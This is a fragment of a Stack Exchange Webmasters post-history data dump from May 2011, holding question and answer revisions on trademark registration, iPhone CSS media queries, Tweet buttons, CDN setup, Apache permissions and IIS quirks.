  <row Id="31492" PostHistoryTypeId="5" PostId="13606" RevisionGUID="7a96a088-26e1-4bcc-97b2-ca05b9c960b9" CreationDate="2011-05-10T20:08:54.783" UserId="5847" Comment="deleted 16 characters in body; deleted 7 characters in body" Text="Yes. In cases of dispute, this disparity of rights is often referred to as &quot;first to file&quot; as opposed to &quot;first to use.&quot; In most systems, a trademark can be registered if it is able to distinguish the goods or services of a party, will not confuse consumers about the relationship between one party and another, and will not otherwise deceive consumers with respect to the qualities of the product.&#xD;&#xA;&#xD;&#xA;The owner of a registered trademark may commence legal proceedings for trademark infringement to prevent unauthorized use of that trademark. However, registration is not required. The owner of a common law trademark may also file suit, but an unregistered mark may be protectable only within the geographical area within which it has been used or in geographical areas into which it may be reasonably expected to expand.&#xD;&#xA;&#xD;&#xA;In the United States the registration process entails several steps prior to a trademark receiving its Certificate of Registration.&#xD;&#xA;&#xD;&#xA;1. an Applicant, the individual or entity applying for the registration, files an application to register the respective trademark. The application is then placed in line in the order it was received to be examined by an examining attorney for the U.S. Patent and Trademark Office. &#xD;&#xA;2. Following a period of anywhere from three to six months the application is reviewed by an examining attorney to make sure that it complies with all requirements in order to be entitled to registration.[7] This review includes procedural matters such as making sure the applicant's goods or services are identified properly. It also includes more substantive matters such as making sure the applicant's mark is not merely descriptive or likely to cause confusion with a pre-existing applied-for or registered mark.[8] If the application runs afoul of any requirement, the examining attorney will issue an office action requiring the applicant to address certain issues or refusals prior to registration of the mark. &#xD;&#xA;3. and after the examination of the mark has concluded with no issues to be addressed or an applicant has responded adequately to an examining attorney's concerns, the application will be published for opposition. During this 30-day period third-parties who may be affected by the registration of the trademark may step forward to file an Opposition Proceeding to stop the registration of the mark. If an Opposition proceeding is filed it institutes a case before the Trademark Trial and Appeal Board to determine both the validity of the grounds for the opposition as well as the ability of the applicant to register the mark at issue.&#xD;&#xA;4. provided that no third-party opposes the registration of the mark during the opposition period or the opposition is ultimately decided in the applicant's favor the mark will be registered in due course.&#xD;&#xA;&#xD;&#xA;You can read more on [Trademarks on Wikipedia][1]&#xD;&#xA;&#xD;&#xA;Disclaimer: I am not a lawyer. All information given is from Wikipedia. You should consult with a lawyer. &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Trademark" />
  <row Id="31493" PostHistoryTypeId="2" PostId="13609" RevisionGUID="83a34b10-cd60-4f8a-9480-22171859133e" CreationDate="2011-05-10T20:19:51.063" UserId="5847" Text="This first bit of code is a PHP browser sniffing snippet, the actual CSS we’ll use is not brought through via any server side code, we’ll use some CSS media queries for that. What we’ll use this code for is serving the markup with an iPhone specific meta tag and to shorten the current page’s title.&#xD;&#xA;&#xD;&#xA;     &lt;?php&#xD;&#xA;        $browser = strpos($_SERVER['HTTP_USER_AGENT'],&quot;iPhone&quot;);&#xD;&#xA;        if ($browser == true)&#xD;&#xA;        {&#xD;&#xA;            $browser = 'iphone';&#xD;&#xA;        }&#xD;&#xA;    ?&gt; &#xD;&#xA;&#xD;&#xA;What the above code does is sees if the user agent contains any instance of ‘iPhone’ using the strpos PHP function.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, as all layouts differ I am going to assume a similar one to mine, a simple two column set up with a logo and menu in the header. If your layout is different I am sure you can quite easily retrofit it. As I mentioned before, remove all stylistic floats and set all widths to 100%. If you are using divs sensibly (i.e. for large bodies of content and not for nav items) this code should see you right for linearising the content:&#xD;&#xA;&#xD;&#xA;    @media screen and (max-device-width: 480px)&#xD;&#xA;    {&#xD;&#xA;        body{...}&#xD;&#xA;        div&#xD;&#xA;        {&#xD;&#xA;          clear:both!important;&#xD;&#xA;          display:block!important;&#xD;&#xA;          width:100%!important;&#xD;&#xA;          float:none!important;&#xD;&#xA;          margin:0!important;&#xD;&#xA;          padding:0!important;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="31494" PostHistoryTypeId="5" PostId="13609" RevisionGUID="4bb732fa-9022-4b14-b62e-656aa290fa65" CreationDate="2011-05-10T20:26:55.160" UserId="5847" Comment="added 240 characters in body" Text="This first bit of code is a PHP browser sniffing snippet, the actual CSS we’ll use is not brought through via any server side code, we’ll use some CSS media queries for that. What we’ll use this code for is serving the markup with an iPhone specific meta tag and to shorten the current page’s title. max-device-width You want to use 480 pixels for the iPhone and 980 pixels for the iPod Touch.&#xD;&#xA;&#xD;&#xA;     &lt;?php&#xD;&#xA;        $browser = strpos($_SERVER['HTTP_USER_AGENT'],&quot;iPhone&quot;);&#xD;&#xA;        if ($browser == true)&#xD;&#xA;        {&#xD;&#xA;            $browser = 'iphone';&#xD;&#xA;        }&#xD;&#xA;    ?&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What the above code does is sees if the user agent contains any instance of ‘iPhone’ using the strpos PHP function.&#xD;&#xA;&#xD;&#xA;Or you could use this: &#xD;&#xA;&#xD;&#xA;        &lt;link media=&quot;only screen and (max-device-width: 480px)&quot; href=&quot;iphone.css&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Now, as all layouts differ I am going to assume a similar one to mine, a simple two column set up with a logo and menu in the header. If your layout is different I am sure you can quite easily retrofit it. As I mentioned before, remove all stylistic floats and set all widths to 100%. If you are using divs sensibly (i.e. for large bodies of content and not for nav items) this code should see you right for linearising the content:&#xD;&#xA;&#xD;&#xA;    @media screen and (max-device-width: 480px)&#xD;&#xA;    {&#xD;&#xA;        body{...}&#xD;&#xA;        div&#xD;&#xA;        {&#xD;&#xA;          clear:both!important;&#xD;&#xA;          display:block!important;&#xD;&#xA;          width:100%!important;&#xD;&#xA;          float:none!important;&#xD;&#xA;          margin:0!important;&#xD;&#xA;          padding:0!important;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="31495" PostHistoryTypeId="2" PostId="13610" RevisionGUID="062b9f9d-e531-488c-bd69-ec35ad2e01dc" CreationDate="2011-05-10T21:04:26.000" UserId="7401" Text="Paul is right, once you are in the report you can browse to other pages through a seperate tab and weight for in-page analytics to load." />
  <row Id="31496" PostHistoryTypeId="17" PostId="13612" RevisionGUID="1d85e64d-ce53-42f0-8130-ff3b8e463c34" CreationDate="2011-05-10T21:06:59.227" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14362/what-browser-or-bot-has-the-user-agent-of-sd-1-30-1/14373#14373" Text="" />
  <row Id="31497" PostHistoryTypeId="2" PostId="13612" RevisionGUID="3897f7ea-dd01-44c2-973d-fc4568e9b552" CreationDate="2011-04-10T19:43:23.413" UserDisplayName="Andris" Text="Maybe [Speed Download][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.yazsoft.com/products/speed-download/" />
  <row Id="31498" PostHistoryTypeId="2" PostId="13611" RevisionGUID="9c1a1441-5c96-4843-bc4f-3ce4bcadaffe" CreationDate="2011-04-10T12:34:00.610" UserDisplayName="Stan" Text="I have tried checking on Google but to no avail. Does anyone recognize this user agent?" />
  <row Id="31499" PostHistoryTypeId="1" PostId="13611" RevisionGUID="9c1a1441-5c96-4843-bc4f-3ce4bcadaffe" CreationDate="2011-04-10T12:34:00.610" UserDisplayName="Stan" Text="What browser or bot has the user agent of &quot;SD-1.30.1&quot; ?" />
  <row Id="31500" PostHistoryTypeId="3" PostId="13611" RevisionGUID="9c1a1441-5c96-4843-bc4f-3ce4bcadaffe" CreationDate="2011-04-10T12:34:00.610" UserDisplayName="Stan" Text="&lt;google&gt;&lt;browsers&gt;" />
  <row Id="31501" PostHistoryTypeId="17" PostId="13611" RevisionGUID="09ddaf2e-f81d-4eab-bb34-9c6bca04197f" CreationDate="2011-05-10T21:06:59.227" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14362/what-browser-or-bot-has-the-user-agent-of-sd-1-30-1" Text="" />
  <row Id="31502" PostHistoryTypeId="25" PostId="13607" RevisionGUID="6d128b31-9c82-49ba-ae14-0d484d6ec4d7" CreationDate="2011-05-10T21:11:40.413" Comment="http://twitter.com/#!/StackWebmasters/status/68060658700271616" />
  <row Id="31503" PostHistoryTypeId="2" PostId="13613" RevisionGUID="c44b0f79-e8e9-489a-8e13-15c1b9cef408" CreationDate="2011-05-10T21:20:42.547" UserId="7337" Text="The [Twitter Tweet button][1] and the [Twittermeme Retweet button][2] seem to pretty much do the exact same thing.&#xD;&#xA;&#xD;&#xA;Which should I use and why?&#xD;&#xA;&#xD;&#xA;-- It seems that Twittermeme is now recommending the Twitter Tweet button. But I still see lots and lots of Twittermeme buttons around the 'net.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.twitter.com/pages/tweet_button&#xD;&#xA;  [2]: http://tweetmeme.com/about/retweet_button" />
  <row Id="31504" PostHistoryTypeId="1" PostId="13613" RevisionGUID="c44b0f79-e8e9-489a-8e13-15c1b9cef408" CreationDate="2011-05-10T21:20:42.547" UserId="7337" Text="Twitter Tweet or TwitterMeme button?" />
  <row Id="31505" PostHistoryTypeId="3" PostId="13613" RevisionGUID="c44b0f79-e8e9-489a-8e13-15c1b9cef408" CreationDate="2011-05-10T21:20:42.547" UserId="7337" Text="&lt;twitter&gt;" />
  <row Id="31506" PostHistoryTypeId="6" PostId="13611" RevisionGUID="aec43e80-f3a8-435e-879f-82a0f2344ab1" CreationDate="2011-05-10T22:18:55.680" UserId="4502" Comment="edited tags" Text="&lt;browsers&gt;&lt;user-agent&gt;" />
  <row Id="31507" PostHistoryTypeId="2" PostId="13614" RevisionGUID="62496a97-35c3-4dfe-990a-71058bb031ee" CreationDate="2011-05-10T22:23:00.657" UserId="4502" Text="Use the official one.  &#xD;&#xA;&lt;a href=&quot;http://techcrunch.com/2010/08/12/twitter-tweet-button/&quot;&gt;Twitter took over the basic button&lt;/a&gt; last year, anyway. Any actual Tweetmeme buttons you *still* see were most likely just never updated/switched and there'd eventually just be a redirect of some kind on their end that leads to essentially the same result." />
  <row Id="31508" PostHistoryTypeId="4" PostId="13607" RevisionGUID="f0439499-eeda-4d77-b485-368d87f7134e" CreationDate="2011-05-10T23:43:31.663" UserId="5847" Comment="added waaaaay better title maaaan " Text="iPod / iPhone CSS Website Template w/ Height Width Dimensions" />
  <row Id="31509" PostHistoryTypeId="6" PostId="13607" RevisionGUID="f0439499-eeda-4d77-b485-368d87f7134e" CreationDate="2011-05-10T23:43:31.663" UserId="5847" Comment="added waaaaay better title maaaan " Text="&lt;css&gt;&lt;php&gt;&lt;iphone&gt;" />
  <row Id="31510" PostHistoryTypeId="24" PostId="13607" RevisionGUID="f0439499-eeda-4d77-b485-368d87f7134e" CreationDate="2011-05-10T23:43:31.663" Comment="Proposed by 5847 approved by 1253 edit id of 262" />
  <row Id="31511" PostHistoryTypeId="5" PostId="13613" RevisionGUID="24903a5e-1439-411c-b0f1-42e2282d58c0" CreationDate="2011-05-10T23:43:48.390" UserId="4502" Comment="Tweetmeme, not Twittermeme" Text="The [Twitter Tweet button][1] and the [Tweetmeme Retweet button][2] seem to pretty much do the exact same thing.&#xD;&#xA;&#xD;&#xA;Which should I use and why?&#xD;&#xA;&#xD;&#xA;-- It seems that Tweetmeme is now recommending the Twitter Tweet button. But I still see lots and lots of Tweetmeme buttons around the 'net.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.twitter.com/pages/tweet_button&#xD;&#xA;  [2]: http://tweetmeme.com/about/retweet_button" />
  <row Id="31512" PostHistoryTypeId="24" PostId="13613" RevisionGUID="24903a5e-1439-411c-b0f1-42e2282d58c0" CreationDate="2011-05-10T23:43:48.390" Comment="Proposed by 4502 approved by 1253 edit id of 263" />
  <row Id="31513" PostHistoryTypeId="5" PostId="13524" RevisionGUID="e43fe8eb-c86a-42d0-a665-79d9ec4425f6" CreationDate="2011-05-10T23:53:58.460" UserId="3371" Comment="added 6912 characters in body" Text="I just wrote this blog post--I am reposting it here because I think it's really relevant to the question regarding do's and dont's.  &#xD;&#xA;&#xD;&#xA;We launched SalesVote three weeks ago and have set expectations low by purposefully doing a soft launch.  What’s a soft launch?  I define it as running your site without the express purpose of marketing your site—launching softly is figuring out where all the controls are before you start to push on the gas.  We have not published press releases, we have purchased nearly zero ads (maybe $75 from Facebook, just to figure it out), and we have sent very few e-mails out to people. &#xD;&#xA;&#xD;&#xA;When I thought of a soft launch, the goal was to limit the information about SalesVote and just make sure that the site worked and also figure out how we’ll go about running the business.  The later question, of how to go about running the business, sort of seems absurd given that I had this idea in December.  But one thing I realized is that the “starting up phase” is vastly different than the “having launched phase.”&#xD;&#xA;&#xD;&#xA;The starting up phase is your walk through the candy shop. You have budgeted time and resources and you pick and choose what you want to put in your plastic bag.  You are working with your developer(s) and designer(s) to build something that works and is clear.  You are initiating phone calls and meetings with potential customers to get their feedback on what you are doing.   And you hope you can convert them to early customers.  &#xD;&#xA;&#xD;&#xA;The “having launched phase” is when you ask yourself, “now what?”  The site is working and you can accept customers—the rubber has hit the road.  For us, expressly stating we are in a soft launch has had several advantages during this period:&#xD;&#xA;&#xD;&#xA;•Soft Launching keeps expectations with customers low&#xD;&#xA;When you’re talking to potential customers and they have options to use a competitor who has launched, and is doing well, you are measured against that.  From the customer’s perspective, they are asking what will you offer me relative to what I can currently get.&#xD;&#xA;&#xD;&#xA;I’ve found one way to tackle this issue is to ratchet down expectations so that during the conversation you can move a bit away from what the current choices are (between your week-old start up and the multimillion dollar funded competitor a phone call away), to the point where you our telling your customer that this is a testing stage for something bigger down the road.  When we have talked to customers about SalesVote and LivingSocial and Groupon are bringing in 1,000’s of customers in a single day, we tell the customer that our model is inherently different (because it is), but that ALSO we are testing to improve our model and they can be a part of this.  Having the customer believe that you will be better in the near future and making her part of that process is schadenfreude in reverse, and I believe has been one of the strongest motivating factors for clients to try us.&#xD;&#xA;&#xD;&#xA;• With Soft Launching, when something breaks, it’s not the end of the world &#xD;&#xA;Our second week, Amazon’s AWS service went down affecting our Heroku account, which ultimately forced down our site.  No one could go to SalesVote.com and do anything.  Thankfully the ten days before, we did nothing really to promote our site expect for some e-mails to friends.  It would have sucked if the day before we were lucky enough to have TechCrunch write about us.&#xD;&#xA;&#xD;&#xA;Of course this type of breakage is different than all the other stuff that either might break or is not quite optimal.  Our Ambassador listings were not working properly the second week—no matter—less than 20 people visited our site.  The shopping cart UI seemed a bit off to me with padding—again, no matter … only a couple of my friends and I bought something.  &#xD;&#xA;&#xD;&#xA;So having these issues that needed to be improved cost us little in terms of stress and in terms of opportunity lost.  Initially limit the opportunity in order manage your inevitable losses. &#xD;&#xA;&#xD;&#xA;• Soft Launching shows you how much you don’t know&#xD;&#xA;It’s hard to predict my thoughts in the morning or late at night after work…starting a business has forced me to go through a stage of hypersensitivity to all the choices around me.  It can be debilitating, to think about what to do first, next and what not to do.  I take Barry Schwartz’ point on how the more choices you have the harder it is to make a decision. &#xD;&#xA;&#xD;&#xA;Doing the soft launch has allowed us to collect all the choices we will need to make without making them right away.  The third week after going live, I wondered what sort of street marketing could possibly work.  Could fliers distributed at various points in DC help spread the word?  I spent an evening sneaking into high rise apartment buildings to put flyers on doors—Chartbeat showed me not a single change.  So now it’s good to know that this little test will limit options for future marketing choices.  And that‘s what you want, I think.  Everyone talks about “thinking out of the box,” but first you need to build a box that works.  Build the box to think “inside of” and then worry about being a “thinker” outside of it.   &#xD;&#xA;&#xD;&#xA;• Soft Launching forces the build-listen-iterate mode instead of staying in the dream-build mode&#xD;&#xA;By doing a soft launch, all of a sudden you get feedback from strangers and acquaintances.  You start to listen and think hard about what is working and what is not.  During the start-up phase looking at your business is a lot like looking at a food recipe.  You know what you need to do to get it done, but you really have no idea what it will taste like.  Doing a soft launch is making a small batch of cookies and then giving you the time to modify before making a month-long supply of cookies.  In effect, you immediately put yourself into a build-listen-iterate mode.  &#xD;&#xA;&#xD;&#xA;SalesVote has two core features that make us different than any other site: our ambassadors for deals and the gaming dynamic between deals and users.  But how these core features manifest is something that we realized needed to be adjusted very shortly after the first couple days of putting SalesVote up.&#xD;&#xA;&#xD;&#xA;With a small audience, it’s easier to make these changes without falling into a trap of risk aversion because what you have is somewhat working for a large number of people.  We can make substantial changes without screwing up first-impressions.  &#xD;&#xA;&#xD;&#xA;• Soft launching allows some little wins that are meaningful &#xD;&#xA;When we did nearly nothing to promote SalesVote a couple people bought from our profiled merchants; it really felt good.  It would have felt pretty bad if we had spent a lot of effort  and money to announce SalesVote and the same thing happened.  But by whispering to folks that we were up and going and for some of those folks to actually use our site, created some joy. You start thinking that wow, maybe we have something here.&#xD;&#xA;&#xD;&#xA;At day’s end, doing a soft launch adds up to being less emotionally taxing and less materially wasteful, than doing everything you can to implement a fully planned and highly funded marketing plan.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31514" PostHistoryTypeId="17" PostId="13616" RevisionGUID="390b78ca-5ed7-4f29-99dd-8237c3e0893c" CreationDate="2011-05-11T00:08:39.613" UserId="-1" Comment="from http://stackoverflow.com/questions/5317993/whole-site-caching-on-mediatemples-procdn-cname-setup/5944358#5944358" Text="" />
  <row Id="31515" PostHistoryTypeId="2" PostId="13616" RevisionGUID="300b22e9-7b7a-4319-9a95-b329a66da80f" CreationDate="2011-05-10T01:49:48.297" UserDisplayName="user707175" Text="You can't serve an entire site from ProCDN, even if it's static HTML. Your web server at the origin needs to serve the pages themselves. ProCDN is for media such as images, CSS etc. " />
  <row Id="31516" PostHistoryTypeId="2" PostId="13615" RevisionGUID="17480898-7689-497b-88dc-e4cef08aa333" CreationDate="2011-03-15T20:59:18.223" UserDisplayName="leonthelion" Text="Am unable to properly configure ProCDN to point to my website's root.&#xD;&#xA;&#xD;&#xA;I have a completely static website: http://thaifood-recipes.com no PHP, MySQL, etc. Just static HTML, images, CSS, etc.&#xD;&#xA;&#xD;&#xA;I have followed the Getting Started with ProCDN guide at MT, but instead of offloading some content from a subdomain, like cdn.thaifood-recipes.com, I am wanting the whole site to just be served, as its all static, cacheable content.&#xD;&#xA;&#xD;&#xA;MT Support dragging the heels getting back to me with a direct answer.&#xD;&#xA;&#xD;&#xA;Any ideas or alternative CDNs to do the same thing if ProCDN won't allow?&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;&#xD;&#xA;Leon Stafford&#xD;&#xA;&#xD;&#xA;leonstafford.com&#xD;&#xA;" />
  <row Id="31517" PostHistoryTypeId="1" PostId="13615" RevisionGUID="17480898-7689-497b-88dc-e4cef08aa333" CreationDate="2011-03-15T20:59:18.223" UserDisplayName="leonthelion" Text="Whole site caching on MediaTemple's ProCDN - cname setup" />
  <row Id="31518" PostHistoryTypeId="3" PostId="13615" RevisionGUID="17480898-7689-497b-88dc-e4cef08aa333" CreationDate="2011-03-15T20:59:18.223" UserDisplayName="leonthelion" Text="&lt;media&gt;&lt;cdn&gt;&lt;mediatemple&gt;" />
  <row Id="31519" PostHistoryTypeId="17" PostId="13615" RevisionGUID="e6a91bb9-0bf3-4912-9981-836273c77a68" CreationDate="2011-05-11T00:08:39.613" UserId="-1" Comment="from http://stackoverflow.com/questions/5317993/whole-site-caching-on-mediatemples-procdn-cname-setup" Text="" />
  <row Id="31520" PostHistoryTypeId="25" PostId="13613" RevisionGUID="91467b32-4548-40f5-bf3e-42b843539d51" CreationDate="2011-05-11T00:11:44.423" Comment="http://twitter.com/#!/StackWebmasters/status/68105966008279040" />
  <row Id="31521" PostHistoryTypeId="2" PostId="13617" RevisionGUID="f7b308e0-6661-4123-880c-70cc00304731" CreationDate="2011-05-11T00:55:32.983" UserId="7416" Text="One solution would be to change:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, user-scalable=yes&quot; /&gt; &#xD;&#xA;&#xD;&#xA;To:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;viewport&quot; content=&quot;width=350&quot; /&gt;&#xD;&#xA;&#xD;&#xA;You could also change the #site width to a percentage instead of a pixel count.&#xD;&#xA;&#xD;&#xA;Otherwise you will want to go with a conditional css, or change your css to fit better." />
  <row Id="31526" PostHistoryTypeId="2" PostId="13618" RevisionGUID="dc79bbe8-a244-41f7-b236-7316296e3652" CreationDate="2011-05-11T01:55:26.087" UserId="1064" Text="The [User-Agent][1] header is supplied by the client and, as may be the case with popular browsers like [FireFox][2], automated HTTP tools like [wget][3], and [robots][4], (particularly malicious bots) the information in the user-agent header may be misreported or nonsensical to all but whomever set it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.43&#xD;&#xA;  [2]: https://addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/&#xD;&#xA;  [3]: http://www.gnu.org/software/wget/manual/html_node/HTTP-Options.html#index-user_002dagent-98&#xD;&#xA;  [4]: http://support.free-conversant.com/2701" />
  <row Id="31527" PostHistoryTypeId="2" PostId="13619" RevisionGUID="6d0ca698-68c8-4922-8eae-ab454f7efb28" CreationDate="2011-05-11T02:02:50.753" UserId="6543" Text="What is normally used as settings for both production or development servers for settings `AllowOverride` &amp; `Options`?&#xD;&#xA;&#xD;&#xA;I will be needing to use .htaccess for WordPress so things like mod_rewrite etc" />
  <row Id="31528" PostHistoryTypeId="1" PostId="13619" RevisionGUID="6d0ca698-68c8-4922-8eae-ab454f7efb28" CreationDate="2011-05-11T02:02:50.753" UserId="6543" Text="What to set for AllowOverride &amp; Options" />
  <row Id="31529" PostHistoryTypeId="3" PostId="13619" RevisionGUID="6d0ca698-68c8-4922-8eae-ab454f7efb28" CreationDate="2011-05-11T02:02:50.753" UserId="6543" Text="&lt;apache&gt;" />
  <row Id="31530" PostHistoryTypeId="2" PostId="13620" RevisionGUID="12113a0e-f090-4a98-9fc4-df8aaf6643bd" CreationDate="2011-05-11T02:37:54.603" UserId="6543" Text="I am running Ubuntu with LAMP/Apache. When I changed the webroot from /var/www to /media/data/www, I keep getting 403 Fobidden even after `chmod-ing` the directory + files to 777. What did I do wrong? Also referencing /var/www, I noticed that the directory + files are owned by `root` should that be the case? Shouldn't it be `www-root`? Also if its root, will apache not be able to access it?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31531" PostHistoryTypeId="1" PostId="13620" RevisionGUID="12113a0e-f090-4a98-9fc4-df8aaf6643bd" CreationDate="2011-05-11T02:37:54.603" UserId="6543" Text="Getting 403 Fobidden after changing webroot" />
  <row Id="31532" PostHistoryTypeId="3" PostId="13620" RevisionGUID="12113a0e-f090-4a98-9fc4-df8aaf6643bd" CreationDate="2011-05-11T02:37:54.603" UserId="6543" Text="&lt;apache&gt;&lt;ubuntu&gt;" />
  <row Id="31533" PostHistoryTypeId="2" PostId="13621" RevisionGUID="f902b715-066b-41f8-ad6c-996e85bdec49" CreationDate="2011-05-11T02:44:27.150" UserId="7417" Text="I acquired an existing small website not too long ago. When I went to register the domain on google apps, it turned out the domain was already registered and I would need to contact whoever had previously set it up. Which turned out not to be the folks I acquired it from, but instead the original owner who had transferred the site to them.&#xD;&#xA;&#xD;&#xA;He told me when he originally sold the site, he retained the rights to the MX records. Why would anybody want to do this? He hasn't been associated with the site in years. Is this a common practice?" />
  <row Id="31534" PostHistoryTypeId="1" PostId="13621" RevisionGUID="f902b715-066b-41f8-ad6c-996e85bdec49" CreationDate="2011-05-11T02:44:27.150" UserId="7417" Text="Why would you want to own just the MX rights to a website?" />
  <row Id="31535" PostHistoryTypeId="3" PostId="13621" RevisionGUID="f902b715-066b-41f8-ad6c-996e85bdec49" CreationDate="2011-05-11T02:44:27.150" UserId="7417" Text="&lt;domains&gt;&lt;email&gt;&lt;legal&gt;&lt;google-apps&gt;&lt;transfer&gt;" />
  <row Id="31536" PostHistoryTypeId="25" PostId="13619" RevisionGUID="af8cc849-b61a-4634-9502-c9675a5a86c2" CreationDate="2011-05-11T03:11:45.333" Comment="http://twitter.com/#!/StackWebmasters/status/68151276063567872" />
  <row Id="31537" PostHistoryTypeId="2" PostId="13622" RevisionGUID="ce641ea8-a8c2-4093-a85a-d9a3f72d557c" CreationDate="2011-05-11T03:25:12.307" UserId="4121" Text="I am developing a site on my machine, and to allow others to view the progress it is being hosted under IIS7 on my  local machine. Sames pages look different with IE9 when using localhost,127.0.0.1 or the machine ip than when viewed using the machine name &quot;xpc&quot;&#xD;&#xA;&#xD;&#xA;I saved the same page and folloing is the section when viewed with localhost,127.0.0.1 or my machine IP :&#xD;&#xA;&#xD;&#xA;    &lt;META name=&quot;Author&quot;&gt;&#xD;&#xA;    &lt;META name=&quot;Copyright&quot;&gt;&#xD;&#xA;    &lt;META name=&quot;Description&quot;&gt;&#xD;&#xA;&#xD;&#xA;here is the same thing when viewed using http://xpc instead :&#xD;&#xA;&#xD;&#xA;    &lt;META name=Author&gt;&#xD;&#xA;    &lt;META name=Copyright&gt;&#xD;&#xA;    &lt;META name=Description&gt;&#xD;&#xA;&#xD;&#xA;There is no hardocing of domain name in any way anywhere (as far I have been able to verify), so why is the same page being served in two different ways? Everything works fine when I launch the site from VS2010 development server.&#xD;&#xA;&#xD;&#xA;Also pages looked identical when viewed with FireFox. So my guess is IIS7 is serving differently for IE(9), but why?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="31538" PostHistoryTypeId="1" PostId="13622" RevisionGUID="ce641ea8-a8c2-4093-a85a-d9a3f72d557c" CreationDate="2011-05-11T03:25:12.307" UserId="4121" Text="IIS7 serves pages differently based on domain name" />
  <row Id="31539" PostHistoryTypeId="3" PostId="13622" RevisionGUID="ce641ea8-a8c2-4093-a85a-d9a3f72d557c" CreationDate="2011-05-11T03:25:12.307" UserId="4121" Text="&lt;web-development&gt;&lt;asp.net&gt;&lt;browsers&gt;&lt;iis7&gt;" />
  <row Id="31540" PostHistoryTypeId="5" PostId="13620" RevisionGUID="a8a0a036-262a-4165-b568-526847d403d0" CreationDate="2011-05-11T03:56:26.593" UserId="6543" Comment="added 264 characters in body" Text="I am running Ubuntu with LAMP/Apache. When I changed the webroot from /var/www to /media/data/www, I keep getting 403 Fobidden even after `chmod-ing` the directory + files to 777. What did I do wrong? Also referencing /var/www, I noticed that the directory + files are owned by `root` should that be the case? Shouldn't it be `www-root`? Also if its root, will apache not be able to access it?&#xD;&#xA;&#xD;&#xA;I noticed that I am getting errors like &#xD;&#xA;&#xD;&#xA;&gt; [Wed May 11 11:53:40 2011] [crit] [client 127.0.0.1] (13)Permission denied: /media/data/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable&#xD;&#xA;&#xD;&#xA;but thing is, my web root is `/media/data/jm/www`" />
  <row Id="31541" PostHistoryTypeId="2" PostId="13623" RevisionGUID="c40053bd-2124-4a68-84a1-82a289fe7ec7" CreationDate="2011-05-11T06:05:00.857" UserId="1010" Text="It kind of sounds like the old-new owners didn't want to deal with mail configuration, so the old-old owner just kept that responsibility.&#xD;&#xA;&#xD;&#xA;However, that was an agreement between those two, not you and the old-old owner.  If you own the site, and you own the domain name, it's pretty much yours, and you aren't obligated to keep the arrangement.  Or are you?  Did you sign any sort of paperwork when you bought the site?  Maybe a record of what you were and were not buying?  Perhaps you did, and this little detail was there?&#xD;&#xA;&#xD;&#xA;Or you didn't, and the new-old and old-old owners are just insane.&#xD;&#xA;&#xD;&#xA;You probably wouldn't be making a bad move by firmly but very politely requesting that the old-old owner let go." />
  <row Id="31542" PostHistoryTypeId="25" PostId="13621" RevisionGUID="678f9e3b-ac07-4df7-a16c-fb39fc90c075" CreationDate="2011-05-11T06:11:45.303" Comment="http://twitter.com/#!/StackWebmasters/status/68196574139924480" />
  <row Id="31543" PostHistoryTypeId="5" PostId="10578" RevisionGUID="1027c345-1209-4291-8415-b54cda400402" CreationDate="2011-05-11T06:47:04.577" UserId="7418" Comment="Remove my NAME FROM THE WEB - Now PLS" Text="Google shows up incorrect meta info (title &amp; description) in search engine results for an add domain and the information is of the domain which is the primary domain of the hosting account. I mentioned this fact because add-on domains are in a sub-directory of the primary domain.&#xD;&#xA;&#xD;&#xA;Any ideas what could be the reason?&#xD;&#xA;&#xD;&#xA;Check this [Google search][1] which shows the information &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31544" PostHistoryTypeId="24" PostId="10578" RevisionGUID="1027c345-1209-4291-8415-b54cda400402" CreationDate="2011-05-11T06:47:04.577" Comment="Proposed by 7418 approved by 1064 edit id of 264" />
  <row Id="31545" PostHistoryTypeId="5" PostId="10580" RevisionGUID="27a0335b-dc9f-4372-ab1f-7e571eb56144" CreationDate="2011-05-11T06:47:53.890" UserId="7418" Comment="*************" Text="Looks like there is something wrong with Google's cached copy of the site - the &quot;Cached&quot; link throws an error on that search.&#xD;&#xA;&#xD;&#xA;Do you see any crawl errors or inconsistencies in Google Webmaster Tools for the `turantastan.com` domain?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;Google's cache of the site shows the content from your primary domain - my best guess would be that this issue will resolve itself once Googlebot revisits your domain *unless* there is an issue with the site's configuration.&#xD;&#xA;&#xD;&#xA;If you do not have administrative access to  you should investigate the site's configuration with the administrator: if requests with a Googlebot user agent show irregular content lengths in the webserver logs, check the site's scripts and webserver configuration for any directives which are conditionally presenting the main site's content. (could be a case of un/intentional [page cloaking][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cloaking" />
  <row Id="31546" PostHistoryTypeId="24" PostId="10580" RevisionGUID="27a0335b-dc9f-4372-ab1f-7e571eb56144" CreationDate="2011-05-11T06:47:53.890" Comment="Proposed by 7418 approved by -1 edit id of 265" />
